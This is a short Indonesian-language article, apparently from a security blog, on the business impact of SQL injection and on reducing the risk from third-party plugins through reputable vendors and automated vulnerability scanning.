Sebagian besar aplikasi sangat bergantung pada database untuk menyimpan semua jenis informasi penting dan sensitif. Pelanggaran data dapat mengakibatkan denda, hilangnya kepercayaan dari pelanggan, dan pembersihan keamanan yang memakan waktu sehingga mengganggu operasional rutin. Jadi, hal tersebut juga dapat menyebabkan penurunan penjualan dan pendapatan.
Serangan SQLi dianggap berbahaya karena mudah diterapkan dan dapat berdampak besar pada organisasi. Tingkat keparahan pelanggaran keamanan bergantung pada data yang dapat diakses atau dimanipulasi oleh penyerang.
Bagaimana cara memastikan bahwa plugin, ekstensi, atau integrasi pihak ketiga tidak menimbulkan kerentanan SQLi?
Organisasi Anda harus selalu berupaya menggunakan plugin, ekstensi, dan integrasi pihak ketiga yang memiliki reputasi baik. Alat-alat ini dapat menambahkan fungsionalitas baru ke situs web atau aplikasi, namun kelemahannya adalah alat-alat ini juga dapat menimbulkan kerentanan keamanan karena praktik pengkodean yang buruk.
Menggunakan alat pihak ketiga dengan riwayat pembaruan keamanan rutin dan ulasan pengguna yang positif akan meminimalkan risiko tersebut. Namun, Anda juga harus menyiapkan pemindaian kerentanan otomatis untuk mendeteksi masalah keamanan apa pun yang mungkin muncul pada alat pihak ketiga saat Anda terus menggunakannya.
Artikel terkait dengan :